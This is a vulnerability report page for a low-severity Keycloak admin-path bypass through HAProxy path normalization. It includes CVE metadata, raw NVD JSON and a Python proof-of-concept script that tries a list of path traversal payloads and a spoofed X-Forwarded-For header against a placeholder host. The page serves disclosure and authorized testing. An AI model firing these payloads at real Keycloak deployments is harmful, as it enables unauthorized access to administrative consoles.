Security Vulnerability Report
中文
CVE-2025-10939 CVSS 3.7 LOW

CVE-2025-10939

Published: 2025-10-28 04:16:15
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Keycloak. The Keycloak guides recommend to not expose /admin path to the outside in case the installation is using a proxy. The issue occurs at least via ha-proxy, as it can be tricked to using relative/non-normalized paths to access the /admin application path relative to /realms which is expected to be exposed.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak < 26.x (all versions prior to fixed release)
Keycloak < 25.0.12
Keycloak < 24.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10939 PoC - Keycloak Admin Path Bypass via Proxy # This PoC demonstrates accessing /admin path through /realms using path traversal import requests import urllib.parse TARGET_URL = "https://vulnerable-keycloak.example.com" def test_path_bypass(): """ Test various path traversal techniques to access /admin path through exposed /realms endpoint """ # Normal protected path (should be blocked) normal_admin = f"{TARGET_URL}/admin/master/console/" # Path traversal techniques bypass_paths = [ # Relative path traversal f"{TARGET_URL}/realms/../admin/master/console/", f"{TARGET_URL}/realms/../../admin/master/console/", # URL encoded traversal f"{TARGET_URL}/realms/%2e%2e/admin/master/console/", f"{TARGET_URL}/realms/%2e%2e/%2e%2e/admin/master/console/", # Double URL encoded f"{TARGET_URL}/realms/%252e%252e/admin/master/console/", # Path normalization variations f"{TARGET_URL}/realms/./../admin/master/console/", f"{TARGET_URL}/realms/master/../../admin/master/console/", # Query parameter based f"{TARGET_URL}/realms/..;/admin/master/console/", # Mixed techniques f"{TARGET_URL}/realms/../admin/..%2f..%2fadmin/master/console/", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'X-Forwarded-For': '127.0.0.1', 'X-Original-URI': '/admin/master/console/' } print("Testing Keycloak Admin Path Bypass (CVE-2025-10939)") print("=" * 60) # First check if normal path is blocked print(f"\n[1] Testing normal /admin path (should be blocked):") try: response = requests.get(normal_admin, headers=headers, verify=False, timeout=10) print(f" Status: {response.status_code}") except requests.RequestException as e: print(f" Error: {e}") # Test bypass techniques print(f"\n[2] Testing path traversal bypass techniques:") for path in bypass_paths: try: response = requests.get(path, headers=headers, verify=False, timeout=10) status = "VULNERABLE" if response.status_code == 200 else f"{response.status_code}" print(f" [{status}] {path}") except requests.RequestException as e: print(f" [ERROR] {path} - {e}") print("\nNote: If any bypass technique returns 200, the system is vulnerable.") print("Remediation: Apply latest Keycloak patches and review proxy configuration.") if __name__ == "__main__": test_path_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10939", "sourceIdentifier": "[email protected]", "published": "2025-10-28T04:16:15.217", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. The Keycloak guides recommend to not expose /admin path to the outside in case the installation is using a proxy. The issue occurs at least via ha-proxy, as it can be tricked to using relative/non-normalized paths to access the /admin application path relative to /realms which is expected to be exposed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:21370", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:21371", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-10939", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2398025", "source": "[email protected]"}, {"url": "https://github.com/keycloak/keycloak/issues/43763", "source": "[email protected]"}, {"url": "https://github.com/keycloak/keycloak/pull/43765", "source": "[email protected]"}]}}